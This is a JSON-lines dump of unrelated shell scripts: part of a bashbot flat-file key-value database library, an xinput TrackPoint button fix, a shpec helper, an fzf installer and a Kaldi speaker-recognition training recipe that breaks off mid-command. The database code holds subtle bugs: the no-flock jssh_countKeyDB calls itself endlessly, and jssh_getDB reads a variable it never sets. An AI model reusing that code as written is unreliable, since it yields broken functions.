));\n\t\tArray2Json \"oldARR\" >\"${DB}\"\n\telse\n\t\t# it's append, but last one counts, its a simple DB ...\n\t\t(( oldARR[\"$1\"]++ ));\n\t\tprintf '[\"%s\"]\\t\"%s\"\\n' \"${1//,/\\\",\\\"}\" \"${oldARR[\"$1\"]//\\\"/\\\\\\\"}\" >>\"${DB}\"\n\tfi\n\t} 200>\"${DB}${BASHBOT_LOCKNAME}\"\n }\n\n\nelse\n #########\n # we have no flock, use \"old\" not atomic functions\n jssh_readDB() {\n\tjssh_readDB_async \"$@\"\n }\n\n jssh_writeDB() {\n\tjssh_writeDB_async \"$@\"\n }\n\n jssh_updateDB() {\n\tjssh_updateDB_async \"$@\"\n }\n\n jssh_insertDB() {\n\tjssh_insertDB_async \"$@\"\n\t\n }\n\n jssh_deleteKeyDB() {\n\tjssh_deleteKeyDB_async \"$@\"\n }\n\n jssh_getKeyDB() {\n\tjssh_getKeyDB_async \"$@\"\n }\n jssh_countKeyDB() {\n\tjssh_countKeyDB \"$@\"\n }\nfi\n\n##############\n# no need for atomic\n\n# print ARRAY content to stdout instead of file\n# $1 ARRAY name, must be delared with \"declare -A ARRAY\" upfront\njssh_printDB() {\n\tArray2Json \"$1\"\n}\n\n# get key/value from jsshDB\n# $1 key name, can onyl contain -a-zA-Z0-9,._\n# $2 key value\n# $3 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\n# returns value\njssh_getDB() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tdeclare -A getARR\n\tjssh_readDB \"getARR\" \"$3\" || return \"$?\"\n\tprintf '%s\\n' \"${getARR[${key}]}\"\n}\n\n# $1 filename (must exist!), must be relative to BASHBOT_ETC, and not contain '..'\njssh_newDB() {\n\tlocal DB; DB=\"$(jssh_checkDB \"$1\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ -f \"${DB}\" ] && return 2 # already exist, do not zero out\n\tprintf '\\n' >\"${DB}\"\n} \n\n# $1 filename, check filename, it must be relative to BASHBOT_ETC, and not contain '..'\n# returns real path to DB file if everything is ok\njssh_checkDB(){\n\t[ -z \"$1\" ] && return 1\n\tlocal DB=\"${BASHBOT_ETC:-.}/$1.jssh\"\n\tif [[ \"$1\" = \"${BASHBOT_ETC:-.}\"* ]] || [[ \"$1\" = \"${BASHBOT_DATA:-.}\"* ]]; then\n\t\tDB=\"$1.jssh\"\n\tfi\n\t[[ \"$1\" = *'..'* ]] && return 2\n\tprintf '%s\\n' \"${DB}\"\n}\n\n\n######################\n# \"old\" implementations as non atomic functions\n# can be used explictitly or as fallback if flock is not availible\njssh_readDB_async() {\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\tJson2Array \"$1\" <\"${DB}\"\n}\n\njssh_writeDB_async() {\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\tArray2Json \"$1\" >\"${DB}\"\n}\n\njssh_updateDB_async() {\n\tdeclare -n ARRAY=\"$1\"\n\t[ -z \"${ARRAY[*]}\" ] && return 1\n\tdeclare -A oldARR newARR\n\tjssh_readDB_async \"oldARR\" \"$2\" || return \"$?\"\n\tif [ -z \"${oldARR[*]}\" ]; then\n\t\t# no old content\n\t\tjssh_writeDB_async \"$1\" \"$2\"\n\telse\n\t\t# merge arrays\n\t\tlocal o1 o2 n1 n2\n\t\to1=\"$(declare -p oldARR)\"; o2=\"${o1#*\\(}\"\n\t\tn1=\"$(declare -p ARRAY)\"; n2=\"${n1#*\\(}\"\n\t\tunset IFS; set -f\n\t\t#shellcheck disable=SC2034,SC2190,SC2206\n\t\tnewARR=( ${o2:0:${#o2}-1} ${n2:0:${#n2}-1} )\n\t\tset +f\n\t\tjssh_writeDB_async \"newARR\" \"$2\" \n\tfi\n}\n\njssh_insertDB_async() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal key=\"$1\" value=\"$2\"\n\tlocal DB; DB=\"$(jssh_checkDB \"$3\")\"\n\t[ -z \"${DB}\" ] && return 1\n\t[ ! -f \"${DB}\" ] && return 2\n\t# its append, but last one counts, its a simple DB ...\n\tprintf '[\"%s\"]\\t\"%s\"\\n' \"${key//,/\\\",\\\"}\" \"${value//\\\"/\\\\\\\"}\" >>\"${DB}\"\n\t\n}\n\njssh_deleteKeyDB_async() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\tdeclare -A oldARR\n\tjssh_readDB_async \"oldARR\" \"$2\" || return \"$?\"\n\tunset oldARR[\"$1\"]\n\tjssh_writeDB_async \"oldARR\" \"$2\"\n}\n\njssh_getKeyDB_async() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB; DB=\"$(jssh_checkDB \"$2\")\"\n\tdeclare -A oldARR\n\tJson2Array \"oldARR\" <\"${DB}\"\n\techo \"${oldARR[\"$1\"]}\"\n}\n\njssh_countKeyDB_async() {\n\t[[ \"$1\" =~ ^[-a-zA-Z0-9,._]+$ ]] || return 3\n\tlocal DB COUNT=\"1\"; DB=\"$(jssh_checkDB \"$2\")\"\n\t[ \"$3\" != \"\" ] && COUNT=\"$3\"\n\tdeclare -A oldARR\n\t# start atomic delete here, exclusive max wait 10s \n\tJson2Array \"oldARR\" <\"${DB}\"\n\t(( oldARR[\"$1\"]+=COUNT ));\n\tArray2Json \"oldARR\" >\"${DB}\"\n}"} {"text": "#!/bin/bash\n\n# \n# 2015-Nov-03\n\n# I bought a fancy USB keyboard with a built-in TrackPoint because I've\n# lived long enough with a ThinkPad that I'm now one of \"those people\".\n# I must seem very odd indeed to the Others at this point.\n\n# The trouble is that, although middle-button + \"nub\" scrolling works on\n# this USB keyboard, it also registers an unwanted middle-click. Disabling\n# middle-button paste in the GNOME3 tweak tool helps to a degree, but it's\n# still annoying in e.g. Thunderbird where middle-clicking a message in the\n# inbox list opens that message in a new tab.\n\n# Since this keyboard adds two identically-named devices, distinguishable\n# only by their xinput device IDs, we have to bring in the dumb muscle of\n# grep and awk in order to target the correct device. Boo.\n\n# The correct device looks like this among the output of `xinput list`:\n#\n# Lenovo ThinkPad Compact USB Keyboard with TrackPoint\tid=14\t[slave pointer (2)]\n\nDEVID=`xinput list | egrep 'Lenovo ThinkPad Compact USB Keyboard with TrackPoint.*slave.*pointer' | awk -F= '{ print $2 }' | awk '{ print $1 }'`\n\n# Targeting the right device, we map its second (middle) button to act\n# like button zero (no such button). Problem solved.\n\nif [ ! -z $DEVID ]; then\n\txinput set-button-map ${DEVID} 1 0 3\nfi"} {"text": "svenfuchs/simple_opts.shshpec/shpec_helper.sh10-100\n# set -e\n\n. lib/simple_opts.sh\n\nend() {\n ((test_indent -= 2))\n if [ $test_indent -eq 0 ]; then\n [ $failures -eq 0 ]\n fi\n}"} {"text": "#!/usr/bin/env bash\n\nset -ue\n\nsource $(dirname \"${BASH_SOURCE[0]:-$0}\")/utilfuncs.sh\n\nfunction install_fzf() {\n local fzf_dir=\"$HOME/.fzf\"\n git_clone_or_fetch https://github.com/junegunn/fzf.git \\\n $fzf_dir\n $fzf_dir/install --key-bindings --no-completion --no-update-rc\n}\n\ninstall_fzf"} {"text": "0\nsource env-win32.sh\npython chroniclr.py"} {"text": "#!/bin/bash\n# Copyright 2017 \n# 2017 Johns Hopkins University (Author: )\n# 2017 Johns Hopkins University (Author: )\n# 2019 . Modified to support network training using TensorFlow\n# Apache 2.0.\n#\n#\n# See README.txt for more info on data required.\n# Results (mostly EERs) are inline in comments below.\n#\n# This example demonstrates a \"bare bones\" NIST SRE 2016 recipe using xvectors.\n# In the future, we will add score-normalization and a more effective form of\n# PLDA domain adaptation.\n#\n# Pretrained models are available for this recipe.\n# See http://kaldi-asr.org/models.html and\n# https://david-ryan-snyder.github.io/2017/10/04/model_sre16_v2.html\n# for details.\n\n. ./cmd.sh\n. ./path.sh\nset -e\n\nfea_nj=32\nnnet_nj=80\n\ndata_root=/home/heliang05/liuyi/sre.full/sre16_kaldi_list/\nroot=/home/heliang05/liuyi/sre.full/\ndata=$root/data\nexp=$root/exp\nmfccdir=$root/mfcc\nvaddir=$root/mfcc\n\ngender=pool\n\nexport sre10_dir=$data_root/sre10_eval/\nexport sre10_train_c5_ext=$sre10_dir/coreext_c5/enroll/$gender/\nexport sre10_trials_c5_ext=$sre10_dir/coreext_c5/test/$gender/\nexport sre10_train_10s=$sre10_dir/10sec/enroll/$gender/\nexport sre10_trials_10s=$sre10_dir/10sec/test/$gender/\n\nexport sre16_trials=/home/heliang05/liuyi/sre.full/sre16_eval_test/trials\nexport sre16_trials_tgl=/home/heliang05/liuyi/sre.full/sre16_eval_test/trials_tgl\nexport sre16_trials_yue=/home/heliang05/liuyi/sre.full/sre16_eval_test/trials_yue\n\nrirs_noises=/mnt/lv10/person/liuyi/ly_database/RIRS_NOISES/\nmusan=/mnt/lv10/person/liuyi/ly_database/musan/\n\n# The kaldi sre egs directory\nkaldi_sre=/home/heliang05/liuyi/software/kaldi_gpu/egs/sre16\n\nstage=-1\n\nif [ $stage -le -1 ]; then\n # link the directories\n rm -fr utils steps sid conf local nnet\n ln -s $kaldi_sre/v2/utils ./\n ln -s $kaldi_sre/v2/steps ./\n ln -s $kaldi_sre/v2/sid ./\n ln -s $kaldi_sre/v2/conf ./\n ln -s $kaldi_sre/v2/local ./\n ln -s ../../voxceleb/v1/nnet ./\n exit 1\nfi\n\n## Data preparation\nif [ $stage -le 0 ]; then\n# # Prepare Mixer6\n# local/make_mx6.sh /mnt/lv10/person/liuyi/ly_database $data\n\n # combine all sre data (04-08) and Mixer6\n utils/combine_data.sh $data/sre \\\n $data_root/sre2004 $data_root/sre2005_train $data_root/sre2005_test \\\n $data_root/sre2006_train $data_root/sre2006_test $data_root/sre08\n utils/validate_data_dir.sh --no-text --no-feats $data/sre\n utils/fix_data_dir.sh $data/sre\n\n # combine all swbd data.\n utils/combine_data.sh $data/swbd \\\n $data_root/swbd2_phase1_train $data_root/swbd2_phase2_train $data_root/swbd2_phase3_train \\\n $data_root/swbd_cellular1_train $data_root/swbd_cellular2_train\n utils/validate_data_dir.sh --no-text --no-feats $data/swbd\n utils/fix_data_dir.sh $data/swbd\n\n # prepare unlabeled Cantonese and Tagalog development data.\n # prepare sre16 evaluation data.\n rm -rf $data/sre16_major && cp -r $data_root/sre16_major $data/sre16_major\n rm -rf $data/sre16_minor && cp -r $data_root/sre16_minor $data/sre16_minor\n rm -rf $data/sre16_eval_enroll && cp -r $data_root/sre16_eval_enroll $data/sre16_eval_enroll\n rm -rf $data/sre16_eval_test && cp -r $data_root/sre16_eval_test $data/sre16_eval_test\n\n # prepare sre10 evaluation data.\n rm -rf $data/sre10_enroll_coreext_c5_$gender && cp -r $sre10_train_c5_ext $data/sre10_enroll_coreext_c5_$gender\n rm -rf $data/sre10_test_coreext_c5_$gender && cp -r $sre10_trials_c5_ext $data/sre10_test_coreext_c5_$gender\n rm -rf $data/sre10_enroll_10s_$gender && cp -r $sre10_train_10s $data/sre10_enroll_10s_$gender\n rm -rf $data/sre10_test_10s_$gender && cp -r $sre10_trials_10s $data/sre10_test_10s_$gender\nfi\n\nif [ $stage -le 1 ]; then\n # Make filterbanks and compute the energy-based VAD for each dataset\n for name in sre swbd sre10_enroll_coreext_c5_$gender sre10_test_coreext_c5_$gender sre10_enroll_10s_$gender sre10_test_10s_$gender; do\n steps/make_mfcc.sh --write-utt2num-frames true --mfcc-config conf/mfcc.conf --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/$name $exp/make_mfcc $mfccdir\n utils/fix_data_dir.sh $data/$name\n sid/compute_vad_decision.sh --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/$name $exp/make_vad $vaddir\n utils/fix_data_dir.sh $data/$name\n done\n\n for name in sre16_major sre16_minor sre16_eval_enroll sre16_eval_test; do\n steps/make_mfcc.sh --write-utt2num-frames true --mfcc-config conf/mfcc.conf --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/$name $exp/make_mfcc $mfccdir\n utils/fix_data_dir.sh $data/$name\n sid/compute_vad_decision.sh --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/$name $exp/make_vad $vaddir\n utils/fix_data_dir.sh $data/$name\n done\n\n utils/combine_data.sh --extra-files \"utt2num_frames\" $data/swbd_sre $data/swbd $data/sre\n utils/fix_data_dir.sh $data/swbd_sre\nfi\n\nif [ $stage -le 2 ]; then\n frame_shift=0.01\n awk -v frame_shift=$frame_shift '{print $1, $2*frame_shift;}' $data/swbd_sre/utt2num_frames > $data/swbd_sre/reco2dur\n\n # Make a version with reverberated speech\n rvb_opts=()\n rvb_opts+=(--rir-set-parameters \"0.5, $rirs_noises/simulated_rirs/smallroom/rir_list\")\n rvb_opts+=(--rir-set-parameters \"0.5, $rirs_noises/simulated_rirs/mediumroom/rir_list\")\n\n # Make a reverberated version of the SWBD+SRE list. Note that we don't add any\n # additive noise here.\n python steps/data/reverberate_data_dir.py \\\n \"${rvb_opts[@]}\" \\\n --speech-rvb-probability 1 \\\n --pointsource-noise-addition-probability 0 \\\n --isotropic-noise-addition-probability 0 \\\n --num-replications 1 \\\n --source-sampling-rate 8000 \\\n $data/swbd_sre $data/swbd_sre_reverb\n cp $data/swbd_sre/vad.scp $data/swbd_sre_reverb/\n utils/copy_data_dir.sh --utt-suffix \"-reverb\" $data/swbd_sre_reverb $data/swbd_sre_reverb.new\n rm -rf $data/swbd_sre_reverb\n mv $data/swbd_sre_reverb.new $data/swbd_sre_reverb\n\n # Prepare the MUSAN corpus, which consists of music, speech, and noise\n # suitable for augmentation.\n local/make_musan.sh $musan $data\n\n # Get the duration of the MUSAN recordings. This will be used by the\n # script augment_data_dir.py.\n for name in speech noise music; do\n utils/data/get_utt2dur.sh $data/musan_${name}\n mv $data/musan_${name}/utt2dur $data/musan_${name}/reco2dur\n done\n\n # Augment with musan_noise\n python steps/data/augment_data_dir_new.py --utt-suffix \"noise\" --fg-interval 1 --fg-snrs \"15:10:5:0\" --fg-noise-dir \"$data/musan_noise\" $data/swbd_sre $data/swbd_sre_noise\n # Augment with musan_music\n python steps/data/augment_data_dir_new.py --utt-suffix \"music\" --bg-snrs \"15:10:8:5\" --num-bg-noises \"1\" --bg-noise-dir \"$data/musan_music\" $data/swbd_sre $data/swbd_sre_music\n # Augment with musan_speech\n python steps/data/augment_data_dir_new.py --utt-suffix \"babble\" --bg-snrs \"20:17:15:13\" --num-bg-noises \"3:4:5:6:7\" --bg-noise-dir \"$data/musan_speech\" $data/swbd_sre $data/swbd_sre_babble\n\n # Combine reverb, noise, music, and babble into one directory.\n utils/combine_data.sh $data/swbd_sre_aug $data/swbd_sre_reverb $data/swbd_sre_noise $data/swbd_sre_music $data/swbd_sre_babble\n\n utils/subset_data_dir.sh $data/swbd_sre_aug 128000 $data/swbd_sre_aug_128k\n utils/filter_scp.pl $data/swbd_sre_aug_128k/utt2spk $data/swbd_sre_aug/utt2uniq > $data/swbd_sre_aug_128k/utt2uniq\n utils/fix_data_dir.sh $data/swbd_sre_aug_128k\n\n # Make filterbanks for the augmented data. Note that we do not compute a new\n # vad.scp file here. Instead, we use the vad.scp from the clean version of\n # the list.\n steps/make_mfcc.sh --mfcc-config conf/mfcc.conf --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/swbd_sre_aug_128k $exp/make_mfcc $mfccdir\n\n # Combine the clean and augmented SWBD+SRE list. This is now roughly\n # double the size of the original clean list.\n utils/combine_data.sh $data/swbd_sre_combined $data/swbd_sre_aug_128k $data/swbd_sre\n utils/fix_data_dir.sh $data/swbd_sre_combined\n\n # Filter out the clean + augmented portion of the SRE list. This will be used to\n # train the PLDA model later in the script.\n # Just use SRE data for PLDA training\n utils/copy_data_dir.sh $data/swbd_sre_combined $data/sre_combined\n utils/filter_scp.pl $data/sre/spk2utt $data/swbd_sre_combined/spk2utt | utils/spk2utt_to_utt2spk.pl > $data/sre_combined/utt2spk\n utils/fix_data_dir.sh $data/sre_combined\nfi\n\nif [ $stage -le 3 ]; then\n local/nnet3/xvector/prepare_feats_for_egs.sh --nj $fea_nj --cmd \"$train_cmd\" \\\n $data/swbd_sre_combined $data/swbd_sre_combined_nosil $exp/swbd_sre_combined_nosil\n utils/fix_data_dir.sh $data/swbd_sre_combined_nosil\nfi\n\nif [ $stage -le 4 ]; then\n # Now, we need to remove features that are too short after removing silence\n # frames. We want at least 5s (500 frames) per utterance.\n min_len=500\n mv $data/swbd_sre_combined_nosil/utt2num_frames $data/swbd_sre_combined_nosil/utt2num_frames.bak\n awk -v min_len=${min_len} '$2 > min_len {print $1, $2}' $data/swbd_sre_combined_nosil/utt2num_frames.bak > $data/swbd_sre_combined_nosil/utt2num_frames\n utils/filter_scp.pl $data/swbd_sre_combined_nosil/utt2num_frames $data/swbd_sre_combined_nosil/utt2spk > $data/swbd_sre_combined_nosil/utt2spk.new\n mv $data/swbd_sre_combined_nosil/utt2spk.new $data/swbd_sre_combined_nosil/utt2spk\n utils/fix_data_dir.sh $data/swbd_sre_combined_nosil\n\n # We also want several utterances per speaker. Now we'll throw out speakers\n # with fewer than 8 utterances.\n min_num_utts=8\n awk '{print $1, NF-1}' $data/swbd_sre_combined_nosil/spk2utt > $data/swbd_sre_combined_nosil/spk2num\n awk -v min_num_utts=${min_num_utts} '$2 >= min_num_utts {print $1, $2}' $data/swbd_sre_combined_nosil/spk2num | utils/filter_scp.pl - $data/swbd_sre_combined_nosil/spk2utt > $data/swbd_sre_combined_nosil/spk2utt.new\n mv $data/swbd_sre_combined_nosil/spk2utt.new $data/swbd_sre_combined_nosil/spk2utt\n utils/spk2utt_to_utt2spk.pl $data/swbd_sre_combined_nosil/spk2utt > $data/swbd_sre_combined_nosil/utt2spk\n\n utils/filter_scp.pl $data/swbd_sre_combined_nosil/utt2spk $data/swbd_sre_combined_nosil/utt2num_frames > $data/swbd_sre_combined_nosil/utt2num_frames.new\n mv $data/swbd_sre_combined_nosil/utt2num_frames.new $data/swbd_sre_combined_nosil/utt2num_frames\n\n # Now we're ready to create training examples.\n utils/fix_data_dir.sh $data/swbd_sre_combined_nosil\nfi\n\nif [ $stage -le 5 ]; then\n # Split the validation set\n mkdir -p $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train\n\n num_heldout_spk=128\n num_heldout_utts_per_spk=5\n\n # The augmented data is similar with the not-augmented one. If an augmented version is in the valid set, it should not appear in the training data.\n # We first remove the augmented data and only sample from the original version\n sed 's/-noise//' $data/swbd_sre_combined_nosil/utt2spk | sed 's/-music//' | sed 's/-babble//' | sed 's/-reverb//' |\\\n paste -d ' ' $data/swbd_sre_combined_nosil/utt2spk - | cut -d ' ' -f 1,3 > $data/swbd_sre_combined_nosil/utt2uniq\n utils/utt2spk_to_spk2utt.pl $data/swbd_sre_combined_nosil/utt2uniq > $data/swbd_sre_combined_nosil/uniq2utt\n cat $data/swbd_sre_combined_nosil/utt2spk | utils/apply_map.pl -f 1 $data/swbd_sre_combined_nosil/utt2uniq |\\\n sort | uniq > $data/swbd_sre_combined_nosil/utt2spk.uniq\n utils/utt2spk_to_spk2utt.pl $data/swbd_sre_combined_nosil/utt2spk.uniq > $data/swbd_sre_combined_nosil/spk2utt.uniq\n python utils/sample_validset_spk2utt.py $num_heldout_spk $num_heldout_utts_per_spk $data/swbd_sre_combined_nosil/spk2utt.uniq > $data/swbd_sre_combined_nosil/valid/spk2utt.uniq\n\n # Then we find all the data that is augmented from the original version.\n cat $data/swbd_sre_combined_nosil/valid/spk2utt.uniq | utils/apply_map.pl -f 2- $data/swbd_sre_combined_nosil/uniq2utt > $data/swbd_sre_combined_nosil/valid/spk2utt\n utils/spk2utt_to_utt2spk.pl $data/swbd_sre_combined_nosil/valid/spk2utt > $data/swbd_sre_combined_nosil/valid/utt2spk\n cp $data/swbd_sre_combined_nosil/feats.scp $data/swbd_sre_combined_nosil/valid\n utils/filter_scp.pl $data/swbd_sre_combined_nosil/valid/utt2spk $data/swbd_sre_combined_nosil/utt2num_frames > $data/swbd_sre_combined_nosil/valid/utt2num_frames\n utils/fix_data_dir.sh $data/swbd_sre_combined_nosil/valid\n\n utils/filter_scp.pl --exclude $data/swbd_sre_combined_nosil/valid/utt2spk $data/swbd_sre_combined_nosil/utt2spk > $data/swbd_sre_combined_nosil/train/utt2spk\n utils/utt2spk_to_spk2utt.pl $data/swbd_sre_combined_nosil/train/utt2spk > $data/swbd_sre_combined_nosil/train/spk2utt\n cp $data/swbd_sre_combined_nosil/feats.scp $data/swbd_sre_combined_nosil/train\n utils/filter_scp.pl $data/swbd_sre_combined_nosil/train/utt2spk $data/swbd_sre_combined_nosil/utt2num_frames > $data/swbd_sre_combined_nosil/train/utt2num_frames\n utils/fix_data_dir.sh $data/swbd_sre_combined_nosil/train\n\n # In the training, we need an additional file `spklist` to map the speakers to the indices.\n awk -v id=0 '{print $1, id++}' $data/swbd_sre_combined_nosil/train/spk2utt > $data/swbd_sre_combined_nosil/train/spklist\nfi\n\n\nif [ $stage -le 6 ]; then\n# # Training a softmax network\n# nnetdir=$exp/xvector_nnet_tdnn_softmax_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_softmax_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n#\n# # Train asoftmax network\n# nnetdir=$exp/xvector_nnet_tdnn_asoftmax_m1_linear_bn\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_asoftmax_m1_linear_bn.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_asoftmax_m2_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_asoftmax_m2_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_asoftmax_m4_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_asoftmax_m4_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n#\n# # AMSoftmax\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.10_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.10_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.15_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.15_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.20_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.20_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.25_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.25_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.30_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.30_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_amsoftmax_m0.35_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_amsoftmax_m0.35_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n\n\n# # ArcSoftmax\n# nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.10_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.10_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n\n# nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.15_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.15_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n\n# nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.20_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.20_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n#\n# nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.25_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.25_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n\n# nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.30_linear_bn_1e-2\n# nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.30_linear_bn_1e-2.json \\\n# $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n# $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n# $nnetdir\n\n nnetdir=$exp/xvector_nnet_tdnn_arcsoftmax_m0.35_linear_bn_1e-2\n nnet/run_train_nnet.sh --cmd \"$cuda_cmd\" --env tf_gpu --continue-training false nnet_conf/tdnn_arcsoftmax_m0.35_linear_bn_1e-2.json \\\n $data/swbd_sre_combined_nosil/train $data/swbd_sre_combined_nosil/train/spklist \\\n $data/swbd_sre_combined_nosil/valid $data/swbd_sre_combined_nosil/train/spklist \\\n $nnetdir\n\nexit 1\nfi\n\n\nnnetdir=$exp/xvector_nnet_tdnn_softmax_1e-2\ncheckpoint='last'\n\nif [ $stage -le 7 ];then\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre_combined $nnetdir/xvectors_sre_combined\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre10_enroll_coreext_c5_$gender $nnetdir/xvectors_sre10_enroll_coreext_c5_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir 